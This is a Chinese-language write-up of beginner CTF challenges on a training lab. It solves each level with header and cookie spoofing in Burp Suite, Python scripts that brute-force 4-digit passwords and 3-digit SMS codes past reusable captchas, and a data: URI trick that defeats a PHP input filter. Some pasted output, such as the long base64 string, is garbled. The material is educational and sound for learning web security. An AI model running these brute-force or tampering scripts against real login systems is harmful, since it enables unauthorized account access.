

# CTF writeup 1\_网络安全实验室

原创

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4 篇文章 0 订阅

订阅专栏

## 基础关

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1.key在哪里?

[过关地址](#)

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打开网址

“key就在这里中，你能找到他吗？”

看看源代码有没有线索~果然

```
<html>
  <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
  </head>
  <body>
    key就在这里中，你能找到他吗？
    <!--key is xxxx-->
  </body>
```

key不知道被谁加密了:)


---

2.再加密一次你就得到key啦~

加密之后的数据为xrlvf23xfqwsxsqf

---

凯撒密码~



秘制打码~

3. 猜猜这是经过了多少次加密？

加密后的字符串为：

Vm0wd2QyUXIVWGxWV0d4V1YwZDRWMVI3WkRSV01WbDNXa1JTVjAxV2JETlhMUpUVmpBeFYyS  
kVUbGhoTVVwVVZtcEJIRlI5U2tWWJHaG9UVIZ3VlZacVFtRIRNbEpJVm10a1dHSkdjRTlaVj  
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EZhZEUXsvpHeFNWRlpKVID4b2lxWXhaRWhoUjJoV1lrZFNWRlpXUm5OamJHUjFx1prVGxZem  
FGZFdWRW8wVkrKR2NrMVdaR3BTUIVwb1ZteGFXbVF4YkhKYVJYUIRU3MxUmxxWVGZFdNVnB  
5WTBac1YySIIRa05hVIZwTFZqRk9kV1j0UmxaWEwcDNWMWN4TUZNeFVsZFHibEpPVTBkb1ZW  
UldarK5YUmxwMFRsWmtXrkI3Y0VsV1Z6QTFWMnhUmxkcVRscGhhMXBvVmpCVmVGWldWblJoU  
IDIA/h1nVzEdNMV/nOTIh8TlA/ID7a1nA/17L8C1/H0V7ik/1ev/m1AM/1Wn/11D17TM/1h0Wldn/1m

IRVVV1pAeFmIVIVPU1Uo1IIVVJRC21p1VKZKSGVn0VZ10Kj0V1114TvvvNSVv10KR121TK1Cvv10SV1  
tSMkZyTVZoa1JGcGFbFpWTVZaVVNrdFhWMFpIWTBaa2FFMViRakpYVjNCTFVqSk5lRIJ1VG1  
oU01taFZWV3hXZDFkR1pGaGxSemxWWWxaYVNGWXlkRmRWTWtwV1YyNUdWVlp0VWxSYVYzaHla  
REZ3UIZWdGFGZGhNMEY0VmxaYWlyRXhaRWhUYTJSWVltdHdWMWxYZEdGaFJtdDVZek5vVjAxW  
FVqQlphMXBQVIRKRMVsRnPVMROVm5CVVZXcEtVbVZXW5WWVJHaFIvakZLYjFaWGVHOVZNaz  
VYWWtoT1YxWkZXbFJVmxwSFRrWlpIVTFVUW1oU2JIQXdWbGQwYzFkSFJuSk9WRTVYVWd0d1N  
Ga3lIRTlrlujBaSFkwZDRhRTFZUWpWV2JYQkRXVlpWZVZSdVRtcFNWMmhVV1d0Vk1XTkdXblJr  
U0dSWFlrWnNORmRyVWtOWGJGbDRVbXPBVldKR2NISldNR1JMWXpGT2NrOVdaR2hOVm5CTIZqR  
mFZVmxYVWtoV2ExcGhVbFJzVkZscmFFSmtNV1J6Vm0xR2FFMVdjRmxWTW5SaFIxeEtXR1ZlUm  
xWV1JUVkVXBfphVjFJeFNsVmlSa1pXVmtSQk5RPT0=

(末尾有换行,自行去除)

...好长的base64密文...不知道加密了多少次,写个python跑一跑呗~

```
import base64
fp=open('1.txt','r')
a=fp.read()
while 1:
    a=base64.b64decode(a)
    print a
```

结果为

V1ZSS1YwNVZiRWhpUUhCS1VqTkN1VmxyWkhkaE1rVjVaRE5zVG1WcmNIa1  
YXpBd1ZERkZPVkJSUFQwPQ==  
WVRKV05VbEhiSHBKUjNCeV1rZHdhMkV5ZDNsTmVrcHhZVEo0Y1dFeVVuT1  
YTJWNULHbHpJR3ByYkdwa2Ey31NekpxYTJ4cWEyUnNNak00T1E9PQ==  
a2V5IG1zIGprbGpka2wyMzJqa2xqa2RsMjM40Q==  
key is [REDACTED]1232jkljkdl12389

Traceback (most recent call last):

秘制打码~

4.据说MD5加密很安全, 真的是么?

e0960851294d7b2253978ba858e24633

既然是MD5加密,丢到某网站解一下~结果为

密文: e0960851294d7b2253978ba858e24633  
类型: 自动

解密 加密

查询结果：  
big [添加备注]

## 秘制打码~

### 5.种族歧视

小明同学今天访问了一个网站，竟然不允许中国人访问！太坑了，于是小明同学决心一定要进去一探究竟！

[通关地址](#)

打开之后看见"only for Foreigner".不允许中国人访问的话,假装是外国人就行啦~

默默掏出 burpsuite,改一下Accept-Language为en,Go~

The screenshot shows the Burp Suite interface with the target set to `http://lab1.xseclab`.  
**Request:**  
Raw Headers Hex  
Name Value  
GET /base1\_0ef337f3afbe42d5619d7a36c19c20ab/index.php HTTP/1.1  
Host lab1.xseclab.com  
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0  
Accept text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8  
Accept-Language en (This field is highlighted with a red box)  
Accept-Encoding gzip, deflate  
Referer http://hackinglab.cn>ShowQues.php?type=bases  
Connection keep-alive  
Upgrade-Insecure-Request 1  
Cache-Control max-age=0  
Buttons: Add, Remove, Up, Down  
**Response:**  
Raw Headers Hex HTML Render  
HTTP/1.1 200 OK  
Server: sae  
Connection: keep-alive  
Date: Wed, 26 Oct 2016 05:00:05 GMT  
Content-Type: text/html  
Via: 10.67.21.53  
X-Daa-Tunnel: hop\_count=1  
Content-Length: 141  

```
<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
  </head>
  <body>
    key is: *(TU687jks...)*
  </body>
</html>
```

顺便安利一个网站(<http://www.atool.org/httpstest.php>)~

### 6.HAHA浏览器

据说信息安全小组最近出了一款新的浏览器，叫HAHA浏览器，有些题目必须通过HAHA浏览器才能答对。小明同学坚决不要装HAHA浏览器，怕有后门，但是如何才能过这个需要安装HAHA浏览器才能过的题目呢？

[通关地址](#)

打开,显示"只允许使用HAHA浏览器，请下载HAHA浏览器访问！"

那改一下User-Agent就行啦~默默掏出burpsuite.

**Request**

Name	Value
GET	/base6_6082c908819e105c378eb93b6631c4d3/index.php HTTP/1.1
Host	lab1.xseclab.com
User-Agent	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 HAHA/49.0
Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language	zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding	gzip, deflate
Referer	http://hackinglab.cn>ShowQues.php?type=bases
Connection	keep-alive
Upgrade-Insecure-Requests	1
Cache-Control	max-age=0

**Response**

```

HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Wed, 26 Oct 2016 05:03:41 GMT
Content-Type: text/html
Via: 10.67.21.26
X-Daa-Tunnel: hop_count=1
Content-Length: 185

<html>
  <head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
  </head>
  <body>
    恭喜您，成功安装HAHA浏览器! key is:
    HAHALiulanqi
  </body>
</html>

```

秘制打码~

7.key究竟在哪里呢？

上一次小明同学轻松找到了key，感觉这么简单的题目多无聊，于是有了找key的加强版，那么key这次会藏在哪里呢？  
通关地址

先看源代码，并没有用firebug抓个包看看呗~

控制台 HTML CSS 脚本 DOM 网络 ▾ Co

xhr 清除 保持 全部 HTML CSS JavaScript XHR 图片 插件

Header	Value
Connection	keep-alive
Content-Encoding	gzip
Content-Type	text/html
Date	Wed, 26 Oct 2016 05:07:11 GMT
Key	kjh%#\$#%FD
Server	sae
Transfer-Encoding	chunked
Via	10.67.15.22
X-Daa-Tunnel	hop_count=1

秘制打码~

8.key又找不到了

小明这次可真找不到key去哪里了，你能帮他找到key吗？

通关地址

打开，显示“到这里找key”，再点~显示“key is not here!”...

两个网页源码都没发现东西，抓个包看看呗

第一个没抓到啥

第二个就有了

Go Cancel < | > | Follow redirection Target: http://lab1.xseclab.com

**Request**

Raw Headers Hex

```
GET /base8_0abd63aa54bef0464289d6a42465f354/search_key.php HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://lab1.xseclab.com/base8_0abd63aa54bef0464289d6a42465f354/index.php
Connection: keep-alive
Upgrade-Insecure-Requests: 1
```

**Response**

Raw Headers Hex HTML Render

```
HTTP/1.1 302 Found
Server: sae
Connection: keep-alive
Date: Wed, 26 Oct 2016 05:17:29 GMT
Content-Type: text/html
Location: http://hacklist.sinaapp.com/base8_0abd63aa54bef0464289d6a42465f354/index_nokey.php
Via: 10.67.21.27
X-Daa-Tunnel: hop_count=1
Content-Length: 224

<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
  </head>
  <body>
    <a href=".key_is_here_now_.php">____</a><!--都告诉了到这里找key的啦-->
  </body>
</html>
```

打开这个网址就可以看到key啦~

## 9.冒充登陆用户

小明来到一个网站，还是想要key，但是却怎么都登陆不了，你能帮他登陆吗？

通关地址

打开,显示“您还没有登陆呢！”.源代码也没线索.抓个包看看呗~

```
GET /base9_ab629d778e3a29540dfd60f2e548a5eb/index.php HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://hackinglab.cn>ShowQues.php?type=bases
Cookie: Login=0
```

改为1就行啦~

Request

Name	Value
GET	/base9_ab629d778e3a29540dfd60f2e548a5eb/in...
Host	lab1.xseclab.com
User-Agent	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:4...
Accept	text/html,application/xhtml+xml,application/xml;q=0.9,ap...
Accept-Language	zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding	gzip, deflate
Referer	http://hackinglab.cn>ShowQues.php?type=bases
Cookie	Login=1
Connection	keep-alive
Upgrade-Insecure-Requests	1

Add Remove Up Down

Response

```
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Wed, 26 Oct 2016 05:24:04 GMT
Content-Type: text/html
Via: 10.67.21.26
Set-Cookie: Login=0
X-Daa-Tunnel: hop_count=1
Content-Length: 152

<html>
  <head>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
  </head>
  <body>
    key is: cookieedit7823789KJ
  </body>
</html>
```

## 10.比较数字大小

只要比服务器上的数字大就可以了！

通关地址

输入框限制输入3位数字,那么只要post的数字大一些应该就行了吧?默默掏出brupsuite.

Request

Name	Value
Raw	POST /base10_0b4e4866096913ac9c3a2272dde27215/index.php HTTP/1.1
Params	Host: lab1.xseclab.com
Headers	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Hex	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Referer: http://lab1.xseclab.com/base10\_0b4e4866096913ac9c3a2272dde27215/index.php  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 8

v=666666

Response

```
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Wed, 26 Oct 2016 05:27:18 GMT
Content-Type: text/html
Via: 10.67.15.25
X-Daa-Tunnel: hop_count=1
Content-Length: 327

<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  </head>
  <body>
    <form action="" method="post">
      <input type="text" maxlength="3" name="v"/>
      <input type="submit" value="提交"/>
    </form>
  </body>
</html>
```

key is HKyu678567&\*&K

## 11.本地的诱惑

小明扫描了他心爱的小红的电脑，发现开放了一个80端口，但是当小明去访问的时候却发现只允许从本地访问，可他心爱的小红不敢让这个诡异的小明触碰她的电脑，可小明真的想知道小红电脑的80端口到底隐藏着什么秘密(key)?

通关地址

打开看源码...key居然就这么出现了.....

"//SAE 服务调整,该题目无法继续...可尝试自行搭建环境测试."

好吧..

---

## 12.就不让你访问

小明设计了一个网站, 因为总是遭受黑客攻击后台, 所以这次他把后台放到了一个无论是什么人都找不到的地方....可最后还是被黑客找到了, 并被放置了一个黑页, 写到:find you ,no more than 3 secs!

[通关地址](#)

---

打开网址

"I am index.php , I am not the admin page ,key is in admin page."

源码,抓包都没有线索.访问admin.php之类的也没结果,最后尝试了一下robots.txt,  
nice~

"Disallow: /9fb97531fe95594603aff7e794ab2f5f/"

打开发现

"you find me,but I am not the login page. keep search."

那就补上login.php咯~

"right! key is XXXX"

秘制加密~

这种题线索太少,只能把能试的都试一遍

---

## 脚本关

---

1.key又又找不到了

小明这次哭了, key又找不到了！！！ key啊, 你究竟藏到了哪里, 为什么我看到的页面上都没有啊！！！！！！

[通关地址](#)

---

打开是

"[到这里找key\\_](#)"

点进去

"想找key, 从哪里来回哪里去, 我这里没有key! 哼!"

看源码

```
<a href=".search_key.php">_到这里找key__</a>
```

认真比对就能发现,之前直接点击后显示的网址是"/no\_key\_is\_here\_forever.php"不是这个  
点进去看看呗~

"key is : XXXX"

key就这么出现了~

## 2.快速口算

小明要参加一个高技能比赛，要求每个人都要能够快速口算四则运算，2秒钟之内就能够得到结果，但是小明就是一个小学生没有经过特殊的培训，那小明能否通过快速口算测验呢？

[通关地址](#)

2s之内要提交  $9786*57277+1512*(9786+57277)=$  这种运算.....那我表示我也是小学生...

还是python大法好

```
import requests,re
s = requests.Session()

url = 'http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php'
html = s.get(url).content

reg = r'([0-9].+)=<'
pattern = re.compile(reg)
match = re.findall(pattern,html)

payload = {'v': eval(match[0])}
print s.post(url, data=payload).content
```

结果为

```
>>>
<html>
  <head>
    <meta http-equiv=Content-Type content="text/html;charset=utf-8">
  </head>
  <body>key is  iohHKHJ%&(jkh)  </body>
</html>
>>>
```

秘制打码~

## 3.这个题目是空的

Tips:这个题目真不是随便设置的。什么才是空的呢？通关地址：没有，请直接提交答案(小写即可)

空~用来表示空白的字符串可能为：%00,%0a,%0d,%0a%0d,%0b,%0c,%a0,null,none等,慢慢试吧~

## 4.怎么就是不弹出key呢？

提交说明：提交前14个字符即可过关

[通关地址](#)

JS题,默默跳过~

## 5.逗比验证码第一期

逗比的验证码，有没有难道不一样吗？

通关地址

验证码正常情况下都是一提交就变的.由题目的意思看来这题的验证码提交一次后不会改变.抓个包看看是不是.

### Request

Raw Params Headers Hex

```
POST /vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0)
Gecko/20100101 Firefox/49.0
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8
Accept-Language: zh-CN, zh;q=0.8, en-US;q=0.5, en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php
Cookie: PHPSESSID=e3eaa75f54756a27c425ca7edf7798fe
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

username=admin&pwd=1234&vcode=28ps&submit=submit
```

### Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 27 Oct 2016 01:19:44 GMT
Cache-Control: no-store
Content-Type: text/html; charset=utf-8
Pragma: no-cache
Via: 10.67.21.53
X-Daa-Tunnel: hop_count=1
Content-Length: 9
```

pwd error!

### Request

Raw Params Headers Hex

```
POST request to /vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php
```

Type	Name	Value
Cookie	PHPSESSID	e3eaa75f54756a27c425ca7edf779...
Body	username	admin
Body	pwd	1235 ←
Body	vcode	28ps ←
Body	submit	submit

Add Remove Up Down

### Response

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 27 Oct 2016 01:20:47 GMT
Cache-Control: no-store
Content-Type: text/html; charset=utf-8
Pragma: no-cache
Via: 10.67.21.26
X-Daa-Tunnel: hop_count=1
Content-Length: 9
```

pwd error!

还是"pwd error".说明验证码确实没更改.

那就好办了,密码是4位纯数字,验证码不会改,那么我们用brupsuite爆破密码就行了(python也可以)

Attack type: Sniper

```
POST /vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/index.php
Cookie: PHPSESSID=e3aa75f54756a27c425ca7edf7798fe
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

username=admin&pwd=$1234$&vcode=28ps&submit=submit
```

Add §  
Clear §  
Auto §  
Refresh

### Payload Sets

You can define one or more payload sets. The number of payload sets depends on the attack type defined in the F payload type can be customized in different ways.

Payload set: 1 Payload count: 9,000  
 Payload type: Numbers Request count: 9,000

### Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

**Number range**

Type:  Sequential  Random  
 From: 1000 ←  
 To: 9999 ←  
 Step: 1 ←  
 How many:

**Number format**

Base:  Decimal  Hex

Intruder attack 1

Attack Save Columns

Results Target Positions Payloads Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
238	1238	200	<input type="checkbox"/>	<input type="checkbox"/>	263	
46	1045	200	<input type="checkbox"/>	<input type="checkbox"/>	250	
59	1058	200	<input type="checkbox"/>	<input type="checkbox"/>	250	
66	1065	200	<input type="checkbox"/>	<input type="checkbox"/>	250	
79	1078	200	<input type="checkbox"/>	<input type="checkbox"/>	250	
80	1079	200	<input type="checkbox"/>	<input type="checkbox"/>	250	
96	1095	200	<input type="checkbox"/>	<input type="checkbox"/>	250	
113	1112	200	<input type="checkbox"/>	<input type="checkbox"/>	250	
117	1116	200	<input type="checkbox"/>	<input type="checkbox"/>	250	
129	1128	200	<input type="checkbox"/>	<input type="checkbox"/>	250	

Request Response

Raw Headers Hex

```
Content-Type: text/html; charset=utf-8
Pragma: no-cache
Via: 10.67.15.25
X-Daa-Tunnel: hop_count=1
Content-Length: 22

key is JL789 sdf#sd
```

? < + > Type a search term 0 matches

2028 of 9000

长度最大的当然就是想要的结果啦~

python我也写了一个

```
import requests
s = requests.Session()

url = 'http://lab1.xseclab.com/vcode1_bcfef7eacf7badc64aaf18844cdb1c46/login.php'
header = {'Cookie': 'PHPSESSID=e3eaa75f54756a27c425ca7edf7798fe'}#改
for pwd in xrange(1000,10000):
    payload = {'username': 'admin', 'pwd':pwd , 'vcode': '4hrk'}#改
    r = s.post(url, data=payload,headers=header)
    print pwd,r.content
```

结果

1238 key is JLJL789 sdf#sd

6.逗比验证码第二期

验证便失效的验证码

通关地址

题目说“验证便失效的验证码”..那就验证后看看,第一次提交

**Request**

Raw Params Headers Hex

```
POST /vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php
Cookie: PHPSESSID=e3eaa75f54756a27c425ca7edf7798fe
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

username=admin&pwd=1111&vcode=czr4&submit=submit
```

**Response**

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 27 Oct 2016 01:44:45 GMT
Cache-Control: no-store
Content-Type: text/html; charset=utf-8
Pragma: no-cache
Via: 10.67.15.25
X-Daa-Tunnel: hop_count=1
Content-Length: 9

pwd error
```

再来一次看看

**Request**

Raw Params Headers Hex

```
POST /vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php
Cookie: PHPSESSID=e3eaa75f54756a27c425ca7edf7798fe
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 48

username=admin&pwd=2222&vcode=czr4&submit=submit
```

**Response**

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 27 Oct 2016 01:45:24 GMT
Cache-Control: no-store
Content-Type: text/html; charset=utf-8
Pragma: no-cache
Via: 10.67.21.53
X-Daa-Tunnel: hop_count=1
Content-Length: 11

vcode error
```

变为“vcode error”了...说好的验证便失效呢...那不提交验证码看会怎么样

**Request**

Raw Params Headers Hex

```
POST /vcode2_a6e6bac0b47c8187b09deb20babc0e85/login.php HTTP/1.1
Host: lab1.xseclab.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20babc0e85/index.php
Cookie: PHPSESSID=e3eaa75f54756a27c425ca7edf7798fe
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 44

username=admin&pwd=2222&vcode=&submit=submit
```

**Response**

Raw Headers Hex

```
HTTP/1.1 200 OK
Server: sae
Connection: keep-alive
Date: Thu, 27 Oct 2016 01:45:57 GMT
Cache-Control: no-store
Content-Type: text/html; charset=utf-8
Pragma: no-cache
Via: 10.67.15.24
X-Daa-Tunnel: hop_count=1
Content-Length: 9

pwd error
```

原来是这么个失效法...burpsuite继续爆破

The screenshot shows the 'Intruder attack 2' interface in Burp Suite. At the top, there are tabs for 'Attack', 'Save', and 'Columns'. Below that is a navigation bar with 'Results' (selected), 'Target', 'Positions', 'Payloads', and 'Options'. A 'Filter: Showing all items' field is present. The main area is a table with columns: Request, Payload, Status, Error, Timeout, Length (with a red arrow pointing to it), and Comment. The table contains several rows of request data. Below the table is a 'Request' tab and a 'Response' tab. Under 'Response', there are tabs for 'Raw', 'Headers', and 'Hex'. The 'Headers' tab shows the following content:

```
Content-Type: text/html; charset=utf-8
Pragma: no-cache
Via: 10.67.15.48
X-Daa-Tunnel: hop_count=1
Content-Length: 33

key is [REDACTED] ss33fasvxcvsdf#@sd
```

Below the headers is a search bar with the placeholder 'Type a search term' and a note '0 matches'. At the bottom, there is a progress bar showing '1390 of 9000'.

python也行

```
import requests
s = requests.Session()

url = 'http://lab1.xseclab.com/vcode2_a6e6bac0b47c8187b09deb20bab0e85/login.php'
header = {'Cookie': 'PHPSESSID=e3eaa75f54756a27c425ca7edf7798fe'}
payload = {'username': 'admin', 'pwd': '1000', 'vcode': 'rfj8'}
r = s.post(url, data=payload, headers=header)
print 1000,r.content

for pwd in xrange(1001,9999):
    payload = {'username': 'admin', 'pwd': pwd, 'vcode': ''}
    r = s.post(url, data=payload, headers=header)
    print pwd,r.content
```

1228 key is [REDACTED] 89ss33fasvxcvsdf#@sd

7.逗比的验证码第三期（SESSION）

尼玛，验证码怎么可以这样逗比。。

验证码做成这样，你家里人知道吗？通关地址

这题用第6题的方法也可以解出来...连代码都不用怎么改...

| 1298 key is [REDACTED] vcodesdf##@sd

## 8.微笑一下就能过关了

尼玛，碰到这样的题我能笑得出来嘛...

[通关地址](#)

[看源码](#)

```
<a href="?view-source">源代码</a></label>
```

打开连接可以看到

```
<?php
    header("Content-type: text/html; charset=utf-8");
    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
    }

    include('flag.php');

$smile = 1;

if (!isset($_GET['^_^'])) $smile = 0;
if (preg_match('/\./', $_GET['^_^'])) $smile = 0;
if (preg_match('/%/', $_GET['^_^'])) $smile = 0;
if (preg_match('/[0-9]/', $_GET['^_^'])) $smile = 0;
if (preg_match('/http/', $_GET['^_^'])) $smile = 0;
if (preg_match('/https/', $_GET['^_^'])) $smile = 0;
if (preg_match('/ftp/', $_GET['^_^'])) $smile = 0;
if (preg_match('/telnet/', $_GET['^_^'])) $smile = 0;
if (preg_match('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
    if (@file_exists($_GET['^_^'])) $smile = 0;
}
if ($smile) {
    $smile = @file_get_contents($_GET['^_^']);
    if ($smile === "(•'◡'•)") die($flag);
}
?>
```

很明显,为了输出flag,需要满足上面的所有条件,即:

- 1.必须对"^\_^"赋值
- 2."^\_^"的值不能有 . % [0-9] http https ftp telnet 这些东西
- 3.\$\_SERVER['QUERY\_STRING'],即"^\_=(输入的值)"这个字符串不能有 \_ 这个字符
- 4.满足\$smile!=0
- 5.file\_exists(\$\_GET['^\_^'])必须为0.也就是\$\_GET['^\_^']此文件不存在
- 6."\$smile"必须等于"(•'◡'•)".也就是file\_get\_contents(\$\_GET['^\_^'])必须为"(•'◡'•)"

仔细分析可以发现,第3点与第1点矛盾了,既要对“^\_”赋值,又得想办法去掉“^\_”中的“\_”,那么可以采用Url编码变为“%5f”.这样第“%5f^”.继续分析第2点,这个地方把 http https ftp telnet 这些给过滤了,而第6点又要通过file\_get\_contents()取

data:<文本数据>  
data:text/plain,<文本数据>  
data:text/html,<HTML代码>  
data:text/html;base64,<base64编码的HTML代码>  
data:text/css,<CSS代码>  
data:text/css;base64,<base64编码的CSS代码>  
data:text/javascript,<Javascript代码>  
data:text/javascript;base64,<base64编码的Javascript代码>  
编码的gif图片数据  
编码的png图片数据  
编码的jpeg图片数据  
编码的icon图片数据

所谓 **data** 类型的Url格式,是在RFC2397中提出的,目的对于一些小的数据,可以在网页中直接嵌入,而不是从外部文件载入

打开

[http://lab1.xseclab.com/base13\\_ead1b12e47ec7cc5390303831b779d47/index.php?^%5f^=data:,\(%●'●\)](http://lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php?^%5f^=data:,(%●'●))

就能看到key啦~

源代码里是“T\_T”哦,所以直接输入肯定是不行的~必须直接构造url打开~

```
<input type="text" name="T_T" placeholder="where is your smile" required>
```

## 9.逗比的手机验证码


你的手机号码是13388886666,验证码将会以弹窗的形式给出

[通关地址](#)

点击获取手机验证码,输入提交,出现

“please login as 13388886667”

返回再次点击获取手机验证码,输入提交,出现



手机验证码是：验证码发到别人手机上了，你看不到..

确定

随便输入vcode提交看看

"no vcode!"

居然是no vcode..应该是vcode error才对...

再看看前面的步骤

之前说"login as 13388886667",按道理验证码是发到13388886666上的,那么登录13388886667的时候验证码肯定不是之前登录13388886666的验证码了.这是正常情况下的.那这题试试看是不是同一个.

点击获取验证码(13388886666)->获得"9382"->输入13388886667,输入9382->提交key就出来啦~

---

## 10.基情燃烧的岁月

Tips:你是一名黑客，你怀疑你的“（男/女）闺蜜”的出轨了，你要登陆TA手机的网上营业厅查看详单，一探究竟！闺蜜手机号码:13388886666

[通关地址](#)

---

点击获取手机验证码,弹出

“手机验证码是：验证码发到手机上了，你看不到..是3位纯数字，开头不为0”

vcode是3位纯数字，开头不为0,都这么说了,估计就是要去爆破了

Intruder attack 5

Attack Save Columns

Results Target Positions Payloads Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
122	221	200	<input type="checkbox"/>	<input type="checkbox"/>	445	
11	110	200	<input type="checkbox"/>	<input type="checkbox"/>	265	
37	136	200	<input type="checkbox"/>	<input type="checkbox"/>	265	
91	190	200	<input type="checkbox"/>	<input type="checkbox"/>	265	
92	191	200	<input type="checkbox"/>	<input type="checkbox"/>	265	
96	195	200	<input type="checkbox"/>	<input type="checkbox"/>	265	
102	201	200	<input type="checkbox"/>	<input type="checkbox"/>	265	
135	234	200	<input type="checkbox"/>	<input type="checkbox"/>	265	
145	244	200	<input type="checkbox"/>	<input type="checkbox"/>	265	
180	279	200	<input type="checkbox"/>	<input type="checkbox"/>	265	

Request Response

Raw Headers Hex

Pragma: no-cache  
Via: 10.67.15.25  
X-Daa-Tunnel: hop\_count=1  
Content-Length: 203

你伤心的发现他/她正在跟你的前男/女友勾搭.....于是下决心看看前任除了跟你的（男/女）闺蜜勾搭，是不是还跟别的勾搭..  
br>前任的手机号码是: 13399999999

? < + > Type a search term 0 matches

Finished

13399999999.那继续爆破咯...

Intruder attack 8

Attack Save Columns

Results Target Positions Payloads Options

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
93	192	200	<input type="checkbox"/>	<input type="checkbox"/>	259	
0		200	<input type="checkbox"/>	<input type="checkbox"/>	264	baseline request
1	100	200	<input type="checkbox"/>	<input type="checkbox"/>	264	
2	101	200	<input type="checkbox"/>	<input type="checkbox"/>	264	
